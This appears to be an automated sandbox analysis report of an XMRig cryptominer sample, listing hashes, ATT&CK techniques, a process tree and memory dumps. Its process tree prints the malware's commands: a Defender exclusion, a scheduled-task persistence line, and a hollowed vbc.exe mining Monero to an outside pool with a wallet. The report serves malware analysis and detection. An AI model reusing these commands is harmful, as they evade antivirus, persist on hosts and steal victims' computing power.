xmrig | b94715b349fa92ac26575bb78b6aa84d73dbf69cdc0c0ee5c250fc64bb741c47

Analysis

max time kernel
61s
max time network
139s
platform
windows10-2004_x64
resource
win10v2004-20220901-en
resource tags

arch:x64arch:x86image:win10v2004-20220901-enlocale:en-usos:windows10-2004-x64system
submitted
08/11/2022, 12:34

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General

Target
file.exe
Size 2.3MB
Sample221108-prryzsgbe4
SHA256 b94715b349fa92ac26575bb78b6aa84d73dbf69cdc0c0ee5c250fc64bb741c47
MD5 cbf8813f06823346bced2c36189d4115
SHA1 d6a00cddbcfc05e4936191e93cab27fc5ac7b65d
SHA512 887cf334c3cd3684658d297f88032b243b04cdf0eb5b9549763ebd3c7ea8d320ac8ee30982ee682fc6da9e60cb5554ada424f12a01db6b2e7be127c516b5514f
SSDEEP 49152:f6myvNUpz+gL+wuxE7PW3sKSLbDYbToQuxO2:SmyvN07vumPWkMbToQel
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

xmrig miner

Malware Config

Signatures

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 6 IoCs

miner

resource	yara_rule
behavioral2/memory/892-188-0x0000000140000000-0x00000001407C9000-memory.dmp	xmrig
behavioral2/memory/892-189-0x0000000140343234-mapping.dmp	xmrig
behavioral2/memory/892-190-0x0000000140000000-0x00000001407C9000-memory.dmp	xmrig
behavioral2/memory/892-191-0x0000000140000000-0x00000001407C9000-memory.dmp	xmrig
behavioral2/memory/892-193-0x0000000140000000-0x00000001407C9000-memory.dmp	xmrig
behavioral2/memory/892-195-0x0000000140000000-0x00000001407C9000-memory.dmp	xmrig

Executes dropped EXE 1 IoCs

pid	Process
552	AVPTQBAEW.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Control Panel\International\Geo\Nation	AVPTQBAEW.exe

Uses the VBS compiler for execution 1 TTPs

Scripting
T1064

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 552 set thread context of 892	552	AVPTQBAEW.exe	100

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

T1053

pid	Process
5060	schtasks.exe

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
4840	timeout.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
3532	powershell.exe
3532	powershell.exe
5088	powershell.exe
5088	powershell.exe
552	AVPTQBAEW.exe
552	AVPTQBAEW.exe

Suspicious behavior: LoadsDriver 1 IoCs

pid	Process
672	Process not Found

Suspicious use of AdjustPrivilegeToken 6 IoCs

description	pid	Process
Token: SeDebugPrivilege	4436	file.exe
Token: SeDebugPrivilege	3532	powershell.exe
Token: SeDebugPrivilege	552	AVPTQBAEW.exe
Token: SeDebugPrivilege	5088	powershell.exe
Token: SeLockMemoryPrivilege	892	vbc.exe
Token: SeLockMemoryPrivilege	892	vbc.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
892	vbc.exe

Suspicious use of WriteProcessMemory 28 IoCs

description	pid	Process	procid_target
PID 4436 wrote to memory of 3532	4436	file.exe	83
PID 4436 wrote to memory of 3532	4436	file.exe	83
PID 4436 wrote to memory of 2404	4436	file.exe	85
PID 4436 wrote to memory of 2404	4436	file.exe	85
PID 2404 wrote to memory of 4840	2404	cmd.exe	87
PID 2404 wrote to memory of 4840	2404	cmd.exe	87
PID 2404 wrote to memory of 552	2404	cmd.exe	91
PID 2404 wrote to memory of 552	2404	cmd.exe	91
PID 552 wrote to memory of 5088	552	AVPTQBAEW.exe	93
PID 552 wrote to memory of 5088	552	AVPTQBAEW.exe	93
PID 552 wrote to memory of 4592	552	AVPTQBAEW.exe	95
PID 552 wrote to memory of 4592	552	AVPTQBAEW.exe	95
PID 4592 wrote to memory of 5060	4592	cmd.exe	97
PID 4592 wrote to memory of 5060	4592	cmd.exe	97
PID 552 wrote to memory of 892	552	AVPTQBAEW.exe	100
PID 552 wrote to memory of 892	552	AVPTQBAEW.exe	100
PID 552 wrote to memory of 892	552	AVPTQBAEW.exe	100
PID 552 wrote to memory of 892	552	AVPTQBAEW.exe	100
PID 552 wrote to memory of 892	552	AVPTQBAEW.exe	100
PID 552 wrote to memory of 892	552	AVPTQBAEW.exe	100
PID 552 wrote to memory of 892	552	AVPTQBAEW.exe	100
PID 552 wrote to memory of 892	552	AVPTQBAEW.exe	100
PID 552 wrote to memory of 892	552	AVPTQBAEW.exe	100
PID 552 wrote to memory of 892	552	AVPTQBAEW.exe	100
PID 552 wrote to memory of 892	552	AVPTQBAEW.exe	100
PID 552 wrote to memory of 892	552	AVPTQBAEW.exe	100
PID 552 wrote to memory of 892	552	AVPTQBAEW.exe	100
PID 552 wrote to memory of 892	552	AVPTQBAEW.exe	100

C:\Users\Admin\AppData\Local\Temp\file.exe
"C:\Users\Admin\AppData\Local\Temp\file.exe"
1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4436
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -Command Add-MpPreference -ExclusionPath 'C:\ProgramData'
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3532
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmpDD07.tmp.bat""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2404
- - C:\Windows\system32\timeout.exe
    timeout 3
    3⤵
    - Delays execution with timeout.exe
    PID:4840
- - C:\ProgramData\WindowsMail\AVPTQBAEW.exe
    "C:\ProgramData\WindowsMail\AVPTQBAEW.exe"
    3⤵
    - Executes dropped EXE
    - Checks computer location settings
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:552
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" -Command Add-MpPreference -ExclusionPath 'C:\ProgramData'
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:5088
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "AVPTQBAEW" /tr "C:\ProgramData\WindowsMail\AVPTQBAEW.exe"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4592
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "AVPTQBAEW" /tr "C:\ProgramData\WindowsMail\AVPTQBAEW.exe"
        5⤵
        Creates scheduled task(s)
        
        PID:5060
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe -o xmr-eu1.nanopool.org:14433 -u 4BrL51JCc9NGQ71kWhnYoDRffsDZy7m1HUU7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQoBJqYKAGMEQrLE8L8 --tls --coin monero
      4⤵
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of FindShellTrayWindow
      PID:892

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

T1053

Scripting

T1064

Persistence

Scheduled Task

T1053

Privilege Escalation

Scheduled Task

T1053

Defense Evasion

Scripting

T1064

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

AVPTQBAEW.exe

Path C:\ProgramData\WindowsMail\AVPTQBAEW.exe
Size 2.3MB
SHA256 b94715b349fa92ac26575bb78b6aa84d73dbf69cdc0c0ee5c250fc64bb741c47
MD5 cbf8813f06823346bced2c36189d4115
SHA1 d6a00cddbcfc05e4936191e93cab27fc5ac7b65d
SHA512 887cf334c3cd3684658d297f88032b243b04cdf0eb5b9549763ebd3c7ea8d320ac8ee30982ee682fc6da9e60cb5554ada424f12a01db6b2e7be127c516b5514f
SSDEEP 49152:f6myvNUpz+gL+wuxE7PW3sKSLbDYbToQuxO2:SmyvN07vumPWkMbToQel
MD5 SHA1 SHA512 SSDEEP

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AVPTQBAEW.exe

Path C:\ProgramData\WindowsMail\AVPTQBAEW.exe
Size 2.3MB
SHA256 b94715b349fa92ac26575bb78b6aa84d73dbf69cdc0c0ee5c250fc64bb741c47
MD5 cbf8813f06823346bced2c36189d4115
SHA1 d6a00cddbcfc05e4936191e93cab27fc5ac7b65d
SHA512 887cf334c3cd3684658d297f88032b243b04cdf0eb5b9549763ebd3c7ea8d320ac8ee30982ee682fc6da9e60cb5554ada424f12a01db6b2e7be127c516b5514f
SSDEEP 49152:f6myvNUpz+gL+wuxE7PW3sKSLbDYbToQuxO2:SmyvN07vumPWkMbToQel
MD5 SHA1 SHA512 SSDEEP

Submit Download

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
MD5 d85ba6ff808d9e5444a4b369f5bc2730
SHA1 31aa9d96590fff6981b315e0b391b575e4c0804a
SHA512 8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
MD5 SHA1 SHA512

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StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 944B
SHA256 2360634e63e8f0b5748e2c56ebb8f4aa78e71008ea7b5c9ca1c49be03b49557d
MD5 6d3e9c29fe44e90aae6ed30ccf799ca8
SHA1 c7974ef72264bbdf13a2793ccf1aed11bc565dce
SHA512 60c38c4367352537545d859f64b9c5cbada94240478d1d039fd27b5ecba4dc1c90051557c16d802269703b873546ead416279c0a80c6fd5e49ad361cef22596a
MD5 SHA1 SHA512

Submit Download

tmpDD07.tmp.bat

Path C:\Users\Admin\AppData\Local\Temp\tmpDD07.tmp.bat
Size 149B
SHA256 6b837f53cb764fc0bcd15ad3d47c37f9411315a504461028d792a1201a36d863
MD5 618ef902d0274a92ae30147ae5ce526d
SHA1 f0745a0a5ec0dc730095c52f7d1e03e0d89826e3
SHA512 8ca7ac0b7c4f66e6988a742b5f91fc1d84f46be2f498eda95e86817a7709219b8c9f800ffc40c1a49276b8a82a6e9c1a10f36fdb2da4c34f9f7e2b8470040a26
MD5 SHA1 SHA512

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memory/552-185-0x00007FFD4EC20000-0x00007FFD4EC5B000-memory.dmp

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memory/552-169-0x0000000000E60000-0x0000000001094000-memory.dmp

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memory/552-172-0x0000000003110000-0x0000000003152000-memory.dmp

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memory/552-182-0x00007FFD2B6E0000-0x00007FFD2B7E2000-memory.dmp

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memory/552-199-0x00007FFD338C0000-0x00007FFD34381000-memory.dmp

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memory/552-198-0x0000000000E60000-0x0000000001094000-memory.dmp

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memory/552-174-0x00007FFD4FC20000-0x00007FFD4FC47000-memory.dmp

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memory/552-170-0x00007FFD33770000-0x00007FFD338BE000-memory.dmp

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memory/552-183-0x00007FFD50D10000-0x00007FFD50D7B000-memory.dmp

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memory/552-186-0x0000000000E60000-0x0000000001094000-memory.dmp

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memory/552-173-0x00007FFD338C0000-0x00007FFD34381000-memory.dmp

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memory/552-164-0x00007FFD348D0000-0x00007FFD3498D000-memory.dmp

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memory/552-168-0x0000000000E60000-0x0000000001094000-memory.dmp

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memory/552-167-0x00007FFD51BD0000-0x00007FFD51BFB000-memory.dmp

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memory/552-166-0x00007FFD338C0000-0x00007FFD34381000-memory.dmp

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memory/552-165-0x00007FFD51DA0000-0x00007FFD51F41000-memory.dmp

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memory/552-171-0x0000000000E60000-0x0000000001094000-memory.dmp

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memory/552-181-0x00007FFD2C9D0000-0x00007FFD2CA05000-memory.dmp

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memory/552-187-0x00007FFD338C0000-0x00007FFD34381000-memory.dmp

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memory/552-161-0x00007FFD34CE0000-0x00007FFD34D8A000-memory.dmp

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memory/552-162-0x00007FFD50550000-0x00007FFD505EE000-memory.dmp

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memory/552-163-0x00007FFD4D770000-0x00007FFD4D782000-memory.dmp

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memory/892-188-0x0000000140000000-0x00000001407C9000-memory.dmp

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memory/892-190-0x0000000140000000-0x00000001407C9000-memory.dmp

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memory/892-191-0x0000000140000000-0x00000001407C9000-memory.dmp

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memory/892-192-0x000001D401530000-0x000001D401550000-memory.dmp

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memory/892-193-0x0000000140000000-0x00000001407C9000-memory.dmp

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memory/892-194-0x000001D401580000-0x000001D4015C0000-memory.dmp

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memory/892-195-0x0000000140000000-0x00000001407C9000-memory.dmp

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memory/892-196-0x000001D402E70000-0x000001D402E90000-memory.dmp

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memory/892-197-0x000001D402E90000-0x000001D402EB0000-memory.dmp

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memory/892-201-0x000001D402E90000-0x000001D402EB0000-memory.dmp

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memory/892-200-0x000001D402E70000-0x000001D402E90000-memory.dmp

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memory/3532-155-0x00007FFD33C10000-0x00007FFD346D1000-memory.dmp

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memory/3532-154-0x00007FFD33C10000-0x00007FFD346D1000-memory.dmp

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memory/3532-151-0x00000240A4A40000-0x00000240A4A62000-memory.dmp

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memory/4436-140-0x00007FFD33C10000-0x00007FFD346D1000-memory.dmp

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memory/4436-138-0x00007FFD348D0000-0x00007FFD3498D000-memory.dmp

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memory/4436-136-0x00007FFD50550000-0x00007FFD505EE000-memory.dmp

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memory/4436-144-0x00007FFD324C0000-0x00007FFD3260E000-memory.dmp

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memory/4436-133-0x0000000000400000-0x0000000000634000-memory.dmp

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memory/4436-145-0x00007FFD33C10000-0x00007FFD346D1000-memory.dmp

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memory/4436-137-0x00007FFD4D770000-0x00007FFD4D782000-memory.dmp

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memory/4436-143-0x0000000000400000-0x0000000000634000-memory.dmp

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memory/4436-146-0x00007FFD4FC20000-0x00007FFD4FC47000-memory.dmp

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memory/4436-135-0x00007FFD34CE0000-0x00007FFD34D8A000-memory.dmp

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memory/4436-139-0x00007FFD51DA0000-0x00007FFD51F41000-memory.dmp

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memory/4436-142-0x0000000000B30000-0x0000000000B72000-memory.dmp

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memory/4436-150-0x00007FFD33C10000-0x00007FFD346D1000-memory.dmp

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memory/4436-149-0x0000000000400000-0x0000000000634000-memory.dmp

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memory/4436-141-0x00007FFD51BD0000-0x00007FFD51BFB000-memory.dmp

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memory/5088-184-0x00007FFD338C0000-0x00007FFD34381000-memory.dmp

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memory/5088-179-0x00007FFD338C0000-0x00007FFD34381000-memory.dmp

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